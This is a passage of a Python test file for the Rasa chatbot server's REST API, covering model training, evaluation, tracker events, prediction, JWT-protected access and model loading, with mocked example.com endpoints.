stack_config_path: Text,
nlu_data_path: Text,
domain_path: Text,
tmp_path_factory: TempPathFactory,
):
domain_data = rasa.shared.utils.io.read_yaml_file(domain_path)
config_data = rasa.shared.utils.io.read_yaml_file(stack_config_path)
nlu_data = rasa.shared.utils.io.read_yaml_file(nlu_data_path)
# combine all data into our payload
payload = {
key: val for d in [domain_data, config_data, nlu_data] for key, val in d.items()
}
data = StringIO()
rasa.shared.utils.io.write_yaml(payload, data)
_, response = await rasa_app.post(
"/model/train",
data=data.getvalue(),
headers={"Content-type": rasa.server.YAML_CONTENT_TYPE},
)
assert response.status == HTTPStatus.OK
# save model to temporary file
model_path = str(Path(tmp_path_factory.mktemp("model_dir")) / "model.tar.gz")
with open(model_path, "wb") as f:
f.write(response.body)
storage_path = tmp_path_factory.mktemp("storage_path")
model_storage, model_metadata = LocalModelStorage.from_model_archive(
storage_path, model_path
)
assert model_metadata.model_id
async def test_train_core_success_with(
rasa_app: SanicASGITestClient,
stack_config_path: Text,
stories_path: Text,
domain_path: Text,
tmp_path_factory: TempPathFactory,
):
payload = f"""
{Path(domain_path).read_text()}
{Path(stack_config_path).read_text()}
{Path(stories_path).read_text()}
"""
_, response = await rasa_app.post(
"/model/train",
data=payload,
headers={"Content-type": rasa.server.YAML_CONTENT_TYPE},
)
assert response.status == HTTPStatus.OK
# save model to temporary file
model_path = str(Path(tmp_path_factory.mktemp("model_dir")) / "model.tar.gz")
with open(model_path, "wb") as f:
f.write(response.body)
storage_path = tmp_path_factory.mktemp("storage_path")
model_storage, model_metadata = LocalModelStorage.from_model_archive(
storage_path, model_path
)
assert model_metadata.model_id
async def test_train_with_retrieval_events_success(
rasa_app: SanicASGITestClient,
stack_config_path: Text,
tmp_path_factory: TempPathFactory,
):
payload = {}
tmp_path = tmp_path_factory.mktemp("tmp")
for file in [
"data/test_domains/default_retrieval_intents.yml",
stack_config_path,
"data/test_yaml_stories/stories_retrieval_intents.yml",
"data/test_responses/default.yml",
"data/test/stories_default_retrieval_intents.yml",
]:
# Read in as dictionaries to avoid that keys, which are specified in
# multiple files (such as 'version'), clash.
content = rasa.shared.utils.io.read_yaml_file(file)
payload.update(content)
concatenated_payload_file = tmp_path / "concatenated.yml"
rasa.shared.utils.io.write_yaml(payload, concatenated_payload_file)
payload_as_yaml = concatenated_payload_file.read_text()
# it usually takes a bit longer on windows so we're going to double the timeout
timeout = 60 * 10 if sys.platform == "win32" else 60 * 5
_, response = await rasa_app.post(
"/model/train",
data=payload_as_yaml,
timeout=timeout,
headers={"Content-type": rasa.server.YAML_CONTENT_TYPE},
)
assert response.status == HTTPStatus.OK
assert_trained_model(response.body, tmp_path_factory)
def assert_trained_model(
response_body: bytes, tmp_path_factory: TempPathFactory
) -> None:
# save model to temporary file
model_path = str(Path(tmp_path_factory.mktemp("model_dir")) / "model.tar.gz")
with open(model_path, "wb") as f:
f.write(response_body)
storage_path = tmp_path_factory.mktemp("storage_path")
model_storage, model_metadata = LocalModelStorage.from_model_archive(
storage_path, model_path
)
assert model_metadata.model_id
async def test_train_with_yaml(
rasa_app: SanicASGITestClient, tmp_path_factory: TempPathFactory
):
training_data = """
version: "3.0"
stories:
- story: My story
steps:
- intent: greet
- action: utter_greet
rules:
- rule: My rule
steps:
- intent: greet
- action: utter_greet
intents:
- greet
nlu:
- intent: greet
examples: |
- hi
- hello
responses:
utter_greet:
- text: Hi
recipe: default.v1
language: en
policies:
- name: RulePolicy
pipeline:
- name: KeywordIntentClassifier
"""
_, response = await rasa_app.post(
"/model/train",
data=training_data,
headers={"Content-type": rasa.server.YAML_CONTENT_TYPE},
)
assert response.status == HTTPStatus.OK
assert_trained_model(response.body, tmp_path_factory)
@pytest.mark.parametrize(
"params", [{}, {"augmentation": 20, "num_threads": 2, "force_training": True}]
)
async def test_train_with_yaml_with_params(
monkeypatch: MonkeyPatch,
rasa_non_trained_app: SanicASGITestClient,
tmp_path: Path,
params: Dict,
):
fake_model = Path(tmp_path) / "fake_model.tar.gz"
fake_model.touch()
fake_model_path = str(fake_model)
mock_train = Mock(return_value=TrainingResult(model=fake_model_path))
monkeypatch.setattr(rasa.model_training, "train", mock_train)
training_data = """
stories: []
rules: []
intents: []
nlu: []
responses: {}
recipe: default.v1
language: en
policies: []
pipeline: []
"""
_, response = await rasa_non_trained_app.post(
"/model/train",
data=training_data,
params=params,
headers={"Content-type": rasa.server.YAML_CONTENT_TYPE},
)
assert response.status == HTTPStatus.OK
assert mock_train.call_count == 1
args, kwargs = mock_train.call_args_list[0]
assert kwargs["core_additional_arguments"]["augmentation_factor"] == params.get(
"augmentation", 50
)
assert kwargs["nlu_additional_arguments"]["num_threads"] == params.get(
"num_threads", 1
)
assert kwargs["force_training"] == params.get("force_training", False)
async def test_train_with_invalid_yaml(rasa_non_trained_app: SanicASGITestClient):
invalid_yaml = """
rules:
rule my rule
"""
_, response = await rasa_non_trained_app.post(
"/model/train",
data=invalid_yaml,
headers={"Content-type": rasa.server.YAML_CONTENT_TYPE},
)
assert response.status == HTTPStatus.BAD_REQUEST
@pytest.mark.parametrize(
"headers, expected",
[({}, False), ({"force_training": False}, False), ({"force_training": True}, True)],
)
def test_training_payload_from_yaml_force_training(
headers: Dict, expected: bool, tmp_path: Path
):
request = Mock()
request.body = b""
request.args = headers
payload = rasa.server._training_payload_from_yaml(request, tmp_path)
assert payload.get("force_training") == expected
@pytest.mark.parametrize(
"headers, expected",
[
({}, rasa.shared.constants.DEFAULT_MODELS_PATH),
({"save_to_default_model_directory": False}, ANY),
(
{"save_to_default_model_directory": True},
rasa.shared.constants.DEFAULT_MODELS_PATH,
),
],
)
def test_training_payload_from_yaml_save_to_default_model_directory(
headers: Dict, expected: Text, tmp_path: Path
):
request = Mock()
request.body = b""
request.args = headers
payload = rasa.server._training_payload_from_yaml(request, tmp_path)
assert payload.get("output")
assert payload.get("output") == expected
async def xtest_evaluate_stories(rasa_app: SanicASGITestClient, stories_path: Text):
stories = rasa.shared.utils.io.read_file(stories_path)
_, response = await rasa_app.post(
"/model/test/stories",
data=stories,
headers={"Content-type": rasa.server.YAML_CONTENT_TYPE},
)
assert response.status == HTTPStatus.OK
js = response.json
assert set(js.keys()) == {
"report",
"precision",
"f1",
"accuracy",
"actions",
"in_training_data_fraction",
"is_end_to_end_evaluation",
}
assert not js["is_end_to_end_evaluation"]
assert set(js["actions"][0].keys()) == {
"action",
"predicted",
"confidence",
"policy",
}
async def test_evaluate_stories_not_ready_agent(
rasa_non_trained_app: SanicASGITestClient, stories_path: Text
):
stories = rasa.shared.utils.io.read_file(stories_path)
_, response = await rasa_non_trained_app.post("/model/test/stories", data=stories)
assert response.status == HTTPStatus.CONFLICT
async def test_evaluate_stories_end_to_end(
rasa_app: SanicASGITestClient, end_to_end_story_path: Text
):
stories = rasa.shared.utils.io.read_file(end_to_end_story_path)
_, response = await rasa_app.post(
"/model/test/stories?e2e=true",
data=stories,
headers={"Content-type": rasa.server.YAML_CONTENT_TYPE},
)
assert response.status == HTTPStatus.OK
js = response.json
assert set(js.keys()) == {
"report",
"precision",
"f1",
"accuracy",
"actions",
"in_training_data_fraction",
"is_end_to_end_evaluation",
}
assert js["is_end_to_end_evaluation"]
assert js["actions"] != []
assert set(js["actions"][0].keys()) == {
"action",
"predicted",
"confidence",
"policy",
}
async def test_add_message(rasa_app: SanicASGITestClient):
conversation_id = "test_add_message_test_id"
_, response = await rasa_app.get(f"/conversations/{conversation_id}/tracker")
previous_num_events = len(response.json["events"])
unique_text = f"test_add_message_text_{time.time()}"
unique_slot_value = f"test_add_message_entity_{time.time()}"
data = {
"text": unique_text,
"sender": "user", # must be "user"
"parse_data": {
"text": unique_text, # this is what is used for "latest_message"
"intent": {PREDICTED_CONFIDENCE_KEY: 0.57, INTENT_NAME_KEY: "greet"},
"entities": [
{
ENTITY_ATTRIBUTE_TYPE: "name",
ENTITY_ATTRIBUTE_VALUE: unique_slot_value,
}
],
},
}
_, response = await rasa_app.post(
f"/conversations/{conversation_id}/messages",
headers={"Content-Type": rasa.server.JSON_CONTENT_TYPE},
json=data,
)
assert response.json["latest_message"]["text"] == unique_text
_, response = await rasa_app.get(f"/conversations/{conversation_id}/tracker")
updated_events = response.json["events"]
assert len(updated_events) == previous_num_events + 2
assert updated_events[-2]["text"] == unique_text
assert updated_events[-1]["event"] == "slot"
assert updated_events[-1]["value"] == unique_slot_value
async def test_evaluate_intent(rasa_app: SanicASGITestClient, nlu_data_path: Text):
nlu_data = rasa.shared.utils.io.read_file(nlu_data_path)
_, response = await rasa_app.post(
"/model/test/intents",
data=nlu_data,
headers={"Content-type": rasa.server.YAML_CONTENT_TYPE},
)
assert response.status == HTTPStatus.OK
assert set(response.json.keys()) == {
"intent_evaluation",
"entity_evaluation",
"response_selection_evaluation",
}
async def test_evaluate_invalid_intent_model_file(rasa_app: SanicASGITestClient):
_, response = await rasa_app.post(
"/model/test/intents?model=invalid.tar.gz",
json={},
headers={"Content-type": rasa.server.JSON_CONTENT_TYPE},
)
assert response.status == HTTPStatus.INTERNAL_SERVER_ERROR
async def test_evaluate_intent_without_body(rasa_app: SanicASGITestClient):
_, response = await rasa_app.post(
"/model/test/intents", headers={"Content-type": rasa.server.YAML_CONTENT_TYPE}
)
assert response.status == HTTPStatus.BAD_REQUEST
async def test_evaluate_intent_on_just_nlu_model(
rasa_app_nlu: SanicASGITestClient, nlu_data_path: Text
):
nlu_data = rasa.shared.utils.io.read_file(nlu_data_path)
_, response = await rasa_app_nlu.post(
"/model/test/intents",
data=nlu_data,
headers={"Content-type": rasa.server.YAML_CONTENT_TYPE},
)
assert response.status == HTTPStatus.OK
assert set(response.json.keys()) == {
"intent_evaluation",
"entity_evaluation",
"response_selection_evaluation",
}
async def test_evaluate_intent_with_model_param(
rasa_app: SanicASGITestClient, trained_nlu_model: Text, nlu_data_path: Text
):
_, response = await rasa_app.get("/status")
previous_model_file = response.json["model_file"]
nlu_data = rasa.shared.utils.io.read_file(nlu_data_path)
_, response = await rasa_app.post(
f"/model/test/intents?model={trained_nlu_model}",
data=nlu_data,
headers={"Content-type": rasa.server.YAML_CONTENT_TYPE},
)
assert response.status == HTTPStatus.OK
assert set(response.json.keys()) == {
"intent_evaluation",
"entity_evaluation",
"response_selection_evaluation",
}
_, response = await rasa_app.get("/status")
assert previous_model_file == response.json["model_file"]
async def test_evaluate_intent_with_model_server(
rasa_app: SanicASGITestClient,
trained_rasa_model: Text,
nlu_data_path: Text,
tear_down_scheduler: None,
):
production_model_server_url = (
"https://example.com/webhooks/actions?model=production"
)
test_model_server_url = "https://example.com/webhooks/actions?model=test"
nlu_data = rasa.shared.utils.io.read_file(nlu_data_path)
with aioresponses() as mocked:
# Mock retrieving the production model from the model server
mocked.get(
production_model_server_url,
body=Path(trained_rasa_model).read_bytes(),
headers={"ETag": "production", "filename": "prod_model.tar.gz"},
)
# Mock retrieving the test model from the model server
mocked.get(
test_model_server_url,
body=Path(trained_rasa_model).read_bytes(),
headers={"ETag": "test", "filename": "test_model.tar.gz"},
)
agent_with_model_server = await load_agent(
model_server=EndpointConfig(production_model_server_url)
)
rasa_app.sanic_app.agent = agent_with_model_server
_, response = await rasa_app.post(
f"/model/test/intents?model={test_model_server_url}",
data=nlu_data,
headers={"Content-type": rasa.server.YAML_CONTENT_TYPE},
)
assert response.status == HTTPStatus.OK
assert set(response.json.keys()) == {
"intent_evaluation",
"entity_evaluation",
"response_selection_evaluation",
}
production_model_server = rasa_app.sanic_app.agent.model_server
# Assert that the model server URL for the test didn't override the production
# model server URL
assert production_model_server.url == production_model_server_url
# Assert the tests didn't break pulling the models
assert production_model_server.kwargs.get("wait_time_between_pulls") != 0
async def test_cross_validation(
rasa_non_trained_app: SanicASGITestClient,
nlu_data_path: Text,
stack_config_path: Text,
):
nlu_data = Path(nlu_data_path).read_text()
config = Path(stack_config_path).read_text()
payload = f"{nlu_data}\n{config}"
_, response = await rasa_non_trained_app.post(
"/model/test/intents",
data=payload,
headers={"Content-type": rasa.server.YAML_CONTENT_TYPE},
params={"cross_validation_folds": 3},
)
assert response.status == HTTPStatus.OK
response_body = response.json
for required_key in {
"intent_evaluation",
"entity_evaluation",
"response_selection_evaluation",
}:
assert required_key in response_body
details = response_body[required_key]
assert all(
key in details for key in ["precision", "f1_score", "report", "errors"]
)
async def test_cross_validation_with_callback_success(
rasa_non_trained_app: SanicASGITestClient,
nlu_data_path: Text,
monkeypatch: MonkeyPatch,
stack_config_path: Text,
):
nlu_data = Path(nlu_data_path).read_text()
config = Path(stack_config_path).read_text()
payload = f"{nlu_data}\n{config}"
callback_url = "https://example.com/webhooks/actions"
with aioresponses() as mocked:
mocked.post(callback_url, payload={})
mocked_cross_validation = AsyncMock(
return_value=(
CVEvaluationResult({}, {}, {}),
CVEvaluationResult({}, {}, {}),
CVEvaluationResult({}, {}, {}),
)
)
monkeypatch.setattr(
rasa.nlu.test,
rasa.nlu.test.cross_validate.__name__,
mocked_cross_validation,
)
_, response = await rasa_non_trained_app.post(
"/model/test/intents",
data=payload,
headers={"Content-type": rasa.server.YAML_CONTENT_TYPE},
params={"cross_validation_folds": 3, "callback_url": callback_url},
)
assert response.status == HTTPStatus.NO_CONTENT
# Sleep to give event loop time to process things in the background
await asyncio.sleep(1)
mocked_cross_validation.assert_called_once()
last_request = latest_request(mocked, "POST", callback_url)
assert last_request
content = last_request[0].kwargs["data"]
response_body = json.loads(content)
for required_key in {
"intent_evaluation",
"entity_evaluation",
"response_selection_evaluation",
}:
assert required_key in response_body
details = response_body[required_key]
assert all(
key in details for key in ["precision", "f1_score", "report", "errors"]
)
async def test_cross_validation_with_callback_error(
rasa_non_trained_app: SanicASGITestClient,
nlu_data_path: Text,
monkeypatch: MonkeyPatch,
stack_config_path: Text,
):
nlu_data = Path(nlu_data_path).read_text()
config = Path(stack_config_path).read_text()
payload = f"{nlu_data}\n{config}"
monkeypatch.setattr(
rasa.nlu.test,
rasa.nlu.test.cross_validate.__name__,
Mock(side_effect=ValueError()),
)
callback_url = "https://example.com/webhooks/actions"
with aioresponses() as mocked:
mocked.post(callback_url, payload={})
_, response = await rasa_non_trained_app.post(
"/model/test/intents",
data=payload,
headers={"Content-type": rasa.server.YAML_CONTENT_TYPE},
params={"cross_validation_folds": 3, "callback_url": callback_url},
)
assert response.status == HTTPStatus.NO_CONTENT
await asyncio.sleep(1)
last_request = latest_request(mocked, "POST", callback_url)
assert last_request
content = last_request[0].kwargs["json"]
assert content["code"] == HTTPStatus.INTERNAL_SERVER_ERROR
async def test_callback_unexpected_error(
rasa_non_trained_app: SanicASGITestClient,
nlu_data_path: Text,
monkeypatch: MonkeyPatch,
stack_config_path: Text,
):
nlu_data = Path(nlu_data_path).read_text()
config = Path(stack_config_path).read_text()
payload = f"{nlu_data}\n{config}"
async def raiseUnexpectedError() -> NoReturn:
raise ValueError()
monkeypatch.setattr(
rasa.server,
rasa.server._training_payload_from_yaml.__name__,
Mock(side_effect=ValueError()),
)
callback_url = "https://example.com/webhooks/actions"
with aioresponses() as mocked:
mocked.post(callback_url, payload={})
_, response = await rasa_non_trained_app.post(
"/model/test/intents",
data=payload,
headers={"Content-type": rasa.server.YAML_CONTENT_TYPE},
params={"cross_validation_folds": 3, "callback_url": callback_url},
)
assert response.status == HTTPStatus.NO_CONTENT
await asyncio.sleep(1)
last_request = latest_request(mocked, "POST", callback_url)
assert last_request
content = last_request[0].kwargs["json"]
assert content["code"] == HTTPStatus.INTERNAL_SERVER_ERROR
async def test_predict(rasa_app: SanicASGITestClient):
data = [
{"event": "action", "name": "action_listen"},
{
"event": "user",
"text": "hello",
"parse_data": {
"entities": [],
"intent": {"confidence": 0.57, INTENT_NAME_KEY: "greet"},
"text": "hello",
},
},
]
_, response = await rasa_app.post(
"/model/predict",
json=data,
headers={"Content-Type": rasa.server.JSON_CONTENT_TYPE},
)
content = response.json
assert response.status == HTTPStatus.OK
assert "scores" in content
assert "tracker" in content
assert "policy" in content
async def test_predict_invalid_entities_format(rasa_app: SanicASGITestClient):
data = [
{"event": "action", "name": "action_listen"},
{
"event": "user",
"text": "hello",
"parse_data": {
"entities": {},
"intent": {"confidence": 0.57, INTENT_NAME_KEY: "greet"},
"text": "hello",
},
},
]
_, response = await rasa_app.post(
"/model/predict",
json=data,
headers={"Content-Type": rasa.server.JSON_CONTENT_TYPE},
)
assert response.status == HTTPStatus.BAD_REQUEST
async def test_predict_empty_request_body(rasa_app: SanicASGITestClient):
_, response = await rasa_app.post(
"/model/predict", headers={"Content-Type": rasa.server.JSON_CONTENT_TYPE}
)
assert response.status == HTTPStatus.BAD_REQUEST
async def test_append_events_empty_request_body(rasa_app: SanicASGITestClient):
_, response = await rasa_app.post(
"/conversations/testid/tracker/events",
headers={"Content-Type": rasa.server.JSON_CONTENT_TYPE},
)
assert response.status == HTTPStatus.BAD_REQUEST
async def test_replace_events_empty_request_body(rasa_app: SanicASGITestClient):
_, response = await rasa_app.put(
"/conversations/testid/tracker/events",
headers={"Content-Type": rasa.server.JSON_CONTENT_TYPE},
)
assert response.status == HTTPStatus.BAD_REQUEST
@freeze_time("2018-01-01")
async def test_requesting_non_existent_tracker(rasa_app: SanicASGITestClient):
model_id = rasa_app.sanic_app.agent.model_id
_, response = await rasa_app.get("/conversations/madeupid/tracker")
content = response.json
assert response.status == HTTPStatus.OK
assert content["paused"] is False
assert content["slots"] == {
"name": None,
REQUESTED_SLOT: None,
SESSION_START_METADATA_SLOT: None,
}
assert content["sender_id"] == "madeupid"
assert content["events"] == [
{
"event": "action",
"name": "action_session_start",
"policy": None,
"confidence": 1,
"timestamp": 1514764800,
"action_text": None,
"hide_rule_turn": False,
"metadata": {"model_id": model_id},
},
{
"event": "session_started",
"timestamp": 1514764800,
"metadata": {"model_id": model_id},
},
{
"event": "action",
INTENT_NAME_KEY: "action_listen",
"policy": None,
"confidence": None,
"timestamp": 1514764800,
"action_text": None,
"hide_rule_turn": False,
"metadata": {"model_id": model_id},
},
]
assert content["latest_message"] == {
"text": None,
"intent": {},
"entities": [],
"message_id": None,
"metadata": {},
}
@pytest.mark.parametrize("event", test_events)
async def test_pushing_event(rasa_app: SanicASGITestClient, event: Event):
model_id = rasa_app.sanic_app.agent.model_id
sender_id = str(uuid.uuid1())
conversation = f"/conversations/{sender_id}"
serialized_event = event.as_dict()
# Remove timestamp so that a new one is assigned on the server
serialized_event.pop("timestamp")
time_before_adding_events = time.time()
# Wait a bit so that the server-generated timestamp is strictly greater
# than time_before_adding_events
time.sleep(0.01)
_, response = await rasa_app.post(
f"{conversation}/tracker/events",
json=serialized_event,
headers={"Content-Type": rasa.server.JSON_CONTENT_TYPE},
)
assert response.json is not None
assert response.status == HTTPStatus.OK
_, tracker_response = await rasa_app.get(f"/conversations/{sender_id}/tracker")
tracker = tracker_response.json
assert tracker is not None
assert len(tracker.get("events")) == 4
deserialized_events = [Event.from_parameters(event) for event in tracker["events"]]
# there is an initial session start sequence at the beginning of the tracker
assert deserialized_events[:3] == with_model_ids(session_start_sequence, model_id)
assert deserialized_events[3] == with_model_id(event, model_id)
assert deserialized_events[3].timestamp > time_before_adding_events
async def test_pushing_event_with_existing_model_id(rasa_app: SanicASGITestClient):
model_id = rasa_app.sanic_app.agent.model_id
sender_id = str(uuid.uuid1())
conversation = f"/conversations/{sender_id}"
existing_model_id = "some_old_id"
assert existing_model_id != model_id
event = with_model_id(BotUttered("hello!"), existing_model_id)
serialized_event = event.as_dict()
# Wait a bit so that the server-generated timestamp is strictly greater
# than time_before_adding_events
_, response = await rasa_app.post(
f"{conversation}/tracker/events",
json=serialized_event,
headers={"Content-Type": rasa.server.JSON_CONTENT_TYPE},
)
_, tracker_response = await rasa_app.get(f"/conversations/{sender_id}/tracker")
tracker = tracker_response.json
deserialized_events = [Event.from_parameters(event) for event in tracker["events"]]
# there is an initial session start sequence at the beginning of the tracker
received_event = deserialized_events[3]
assert received_event == with_model_id(event, existing_model_id)
async def test_push_multiple_events(rasa_app: SanicASGITestClient):
model_id = rasa_app.sanic_app.agent.model_id
conversation_id = str(uuid.uuid1())
conversation = f"/conversations/{conversation_id}"
events = [e.as_dict() for e in test_events]
_, response = await rasa_app.post(
f"{conversation}/tracker/events",
json=events,
headers={"Content-Type": rasa.server.JSON_CONTENT_TYPE},
)
assert response.json is not None
assert response.status == HTTPStatus.OK
_, tracker_response = await rasa_app.get(
f"/conversations/{conversation_id}/tracker"
)
tracker = tracker_response.json
assert tracker is not None
# there is an initial session start sequence at the beginning
assert [
Event.from_parameters(event) for event in tracker.get("events")
] == with_model_ids(session_start_sequence + test_events, model_id)
@pytest.mark.parametrize(
"params", ["?execute_side_effects=true&output_channel=callback", ""]
)
async def test_pushing_event_while_executing_side_effects(
rasa_server: Sanic, params: Text
):
input_channel = CallbackInput(EndpointConfig("https://example.com/callback"))
channel.register([input_channel], rasa_server, "/webhooks/")
rasa_app = rasa_server.asgi_client
sender_id = str(uuid.uuid1())
conversation = f"/conversations/{sender_id}"
serialized_event = test_events[1].as_dict()
with aioresponses() as mocked:
mocked.post(
"https://example.com/callback",
repeat=True,
headers={"Content-Type": "application/json"},
)
await rasa_app.post(
f"{conversation}/tracker/events{params}",
json=serialized_event,
headers={"Content-Type": rasa.server.JSON_CONTENT_TYPE},
)
r = latest_request(mocked, "post", "https://example.com/callback")
if not params:
assert r is None
else:
message_received = json_of_latest_request(r)
assert message_received.get("recipient_id") == sender_id
assert message_received.get("text") == serialized_event.get("text")
async def test_post_conversation_id_with_slash(rasa_app: SanicASGITestClient):
model_id = rasa_app.sanic_app.agent.model_id
conversation_id = str(uuid.uuid1())
id_len = len(conversation_id) // 2
conversation_id = conversation_id[:id_len] + "/+-_\\=" + conversation_id[id_len:]
conversation = f"/conversations/{conversation_id}"
events = [e.as_dict() for e in test_events]
_, response = await rasa_app.post(
f"{conversation}/tracker/events",
json=events,
headers={"Content-Type": "application/json"},
)
assert response.json is not None
assert response.status == HTTPStatus.OK
_, tracker_response = await rasa_app.get(
f"/conversations/{conversation_id}/tracker"
)
tracker = tracker_response.json
assert tracker is not None
# there is a session start sequence at the start
assert [
Event.from_parameters(event) for event in tracker.get("events")
] == with_model_ids(session_start_sequence + test_events, model_id)
async def test_put_tracker(rasa_app: SanicASGITestClient):
data = [event.as_dict() for event in test_events]
_, response = await rasa_app.put(
"/conversations/pushtracker/tracker/events",
json=data,
headers={"Content-Type": rasa.server.JSON_CONTENT_TYPE},
)
content = response.json
assert response.status == HTTPStatus.OK
assert len(content["events"]) == len(test_events)
assert content["sender_id"] == "pushtracker"
_, tracker_response = await rasa_app.get("/conversations/pushtracker/tracker")
tracker = tracker_response.json
assert tracker is not None
evts = tracker.get("events")
assert events.deserialise_events(evts) == test_events
async def test_predict_without_conversation_id(rasa_app: SanicASGITestClient):
_, response = await rasa_app.post("/conversations/non_existent_id/predict")
assert response.status == HTTPStatus.NOT_FOUND
assert response.json["message"] == "Conversation ID not found."
async def test_sorted_predict(rasa_app: SanicASGITestClient):
await _create_tracker_for_sender(rasa_app, "sortedpredict")
_, response = await rasa_app.post("/conversations/sortedpredict/predict")
scores = response.json["scores"]
sorted_scores = sorted(scores, key=lambda k: (-k["score"], k["action"]))
assert scores == sorted_scores
async def _create_tracker_for_sender(app: SanicASGITestClient, sender_id: Text) -> None:
data = [event.as_dict() for event in test_events[:3]]
_, response = await app.put(
f"/conversations/{sender_id}/tracker/events",
json=data,
headers={"Content-Type": rasa.server.JSON_CONTENT_TYPE},
)
assert response.status == HTTPStatus.OK
async def test_get_tracker_with_jwt(rasa_secured_app: SanicASGITestClient):
# token generated with secret "core" and algorithm HS256
# on https://jwt.io/
# {"user": {"username": "testadmin", "role": "admin"}}
jwt_header = {
"Authorization": "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9."
"eyJ1c2VyIjp7InVzZXJuYW1lIjoidGVzdGFkbWluIiwic"
"m9sZSI6ImFkbWluIn19.NAQr0kbtSrY7d28XTqRzawq2u"
"QRre7IWTuIDrCn5AIw"
}
_, response = await rasa_secured_app.get(
"/conversations/testadmin/tracker", headers=jwt_header
)
assert response.status == HTTPStatus.OK
_, response = await rasa_secured_app.get(
"/conversations/testuser/tracker", headers=jwt_header
)
assert response.status == HTTPStatus.OK
# {"user": {"username": "testuser", "role": "user"}}
jwt_header = {
"Authorization": "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9."
"eyJ1c2VyIjp7InVzZXJuYW1lIjoidGVzdHVzZXIiLCJyb"
"2xlIjoidXNlciJ9fQ.JnMTLYd56qut2w9h7hRQlDm1n3l"
"HJHOxxC_w7TtwCrs"
}
_, response = await rasa_secured_app.get(
"/conversations/testadmin/tracker", headers=jwt_header
)
assert response.status == HTTPStatus.FORBIDDEN
_, response = await rasa_secured_app.get(
"/conversations/testuser/tracker", headers=jwt_header
)
assert response.status == HTTPStatus.OK
def test_list_routes(empty_agent: Agent):
app = rasa.server.create_app(empty_agent, auth_token=None)
routes = utils.list_routes(app)
assert set(routes.keys()) == {
"hello",
"version",
"status",
"retrieve_tracker",
"append_events",
"replace_events",
"retrieve_story",
"execute_action",
"trigger_intent",
"predict",
"add_message",
"train",
"evaluate_stories",
"evaluate_intents",
"tracker_predict",
"parse",
"load_model",
"unload_model",
"get_domain",
}
async def test_unload_model_error(rasa_app: SanicASGITestClient):
_, response = await rasa_app.get("/status")
assert response.status == HTTPStatus.OK
assert "model_file" in response.json and response.json["model_file"] is not None
_, response = await rasa_app.delete("/model")
assert response.status == HTTPStatus.NO_CONTENT
async def test_get_domain(rasa_app: SanicASGITestClient):
_, response = await rasa_app.get(
"/domain", headers={"accept": rasa.server.JSON_CONTENT_TYPE}
)
content = response.json
assert response.status == HTTPStatus.OK
assert "config" in content
assert "intents" in content
assert "entities" in content
assert "slots" in content
assert "responses" in content
assert "actions" in content
async def test_get_domain_invalid_accept_header(rasa_app: SanicASGITestClient):
_, response = await rasa_app.get("/domain")
assert response.status == HTTPStatus.NOT_ACCEPTABLE
async def test_load_model(rasa_app: SanicASGITestClient, trained_core_model: Text):
_, response = await rasa_app.get("/status")
assert response.status == HTTPStatus.OK
assert "model_id" in response.json
old_model_id = response.json["model_id"]
data = {"model_file": trained_core_model}
_, response = await rasa_app.put("/model", json=data)
assert response.status == HTTPStatus.NO_CONTENT
_, response = await rasa_app.get("/status")
assert response.status == HTTPStatus.OK
assert "model_id" in response.json
assert old_model_id != response.json["model_id"]
async def test_load_model_from_model_server(
rasa_app: SanicASGITestClient, trained_core_model: Text, tear_down_scheduler: None
):
_, response = await rasa_app.get("/status")
assert response.status == HTTPStatus.OK
assert "model_id" in response.json
old_model_id = response.json["model_id"]
endpoint = EndpointConfig("https://example.com/model/trained_core_model")
with open(trained_core_model, "rb") as f:
with aioresponses(passthrough=["http://127.0.0.1"]) as mocked:
headers = {}
fs = os.fstat(f.fileno())
headers["Content-Length"] = str(fs[6])
mocked.get(
"https://example.com/model/trained_core_model",
content_type="application/x-tar",
headers={
"filename": "some_model_name.tar.gz",
"ETag": "new_fingerprint",
},
body=f.read(),
)
data = {"model_server": {"url": endpoint.url}}
_, response = await rasa_app.put("/model", json=data)
assert response.status == HTTPStatus.NO_CONTENT
_, response = await rasa_app.get("/status")
assert response.status == HTTPStatus.OK
assert "model_id" in response.json
assert old_model_id != response.json["model_id"]
async def test_load_model_invalid_request_body(
rasa_non_trained_app: SanicASGITestClient,
):
_, response = await rasa_non_trained_app.put("/model")
assert response.status == HTTPStatus.BAD_REQUEST
async def test_load_model_invalid_configuration(
rasa_non_trained_app: SanicASGITestClient,
):
data = {"model_file": "some-random-path"}
_, response = await rasa_non_trained_app.put("/model", json=data)
assert response.status == HTTPStatus.BAD_REQUEST
async def test_execute(rasa_app: SanicASGITestClient):
await _create_tracker_for_sender(rasa_app, "test_execute")
data = {INTENT_NAME_KEY: "utter_greet"}
_, response = await rasa_app.post("/conversations/test_execute/execute", json=data)
assert response.status == HTTPStatus.OK
parsed_content = response.json
assert parsed_content["tracker"]
assert parsed_content["messages"]
async def test_execute_without_conversation_id(rasa_app: SanicASGITestClient):
data = {INTENT_NAME_KEY: "utter_greet"}
_, response = await rasa_app.post(
"/conversations/non_existent_id/execute", json=data
)
assert response.status == HTTPStatus.NOT_FOUND
assert response.json["message"] == "Conversation ID not found."
async def test_execute_with_missing_action_name(rasa_app: SanicASGITestClient):
test_sender = "test_execute_with_missing_action_name"
await _create_tracker_for_sender(rasa_app, test_sender)
data = {"wrong-key": "utter_greet"}
_, response = await rasa_app.post(
f"/conversations/{test_sender}/execute", json=data
)
assert response.status == HTTPStatus.BAD_REQUEST
async def test_execute_with_not_existing_action(rasa_app: SanicASGITestClient):
test_sender = "test_execute_with_not_existing_action"
await _create_tracker_for_sender(rasa_app, test_sender)
data = {"name": "ka[pa[opi[opj[oj[oija"}
_, response = await rasa_app.post(
f"/conversations/{test_sender}/execute", json=data
)
assert response.status == HTTPStatus.INTERNAL_SERVER_ERROR
async def test_trigger_intent(rasa_app: SanicASGITestClient):
data = {INTENT_NAME_KEY: "greet"}
_, response = await rasa_app.post(
"/conversations/test_trigger/trigger_intent", json=data
)
assert response.status == HTTPStatus.OK
parsed_content = response.json
assert parsed_content["tracker"]
assert parsed_content["messages"]
async def test_trigger_intent_with_entity(rasa_app: SanicASGITestClient):
entity_name = "name"
entity_value = "Sara"
data = {INTENT_NAME_KEY: "greet", "entities": {entity_name: entity_value}}
_, response = await rasa_app.post(
"/conversations/test_trigger/trigger_intent", json=data
)
assert response.status == HTTPStatus.OK
parsed_content = response.json
last_slot_set_event = [
event
for event in parsed_content["tracker"]["events"]
if event["event"] == "slot"
][-1]
assert parsed_content["tracker"]
assert parsed_content["messages"]
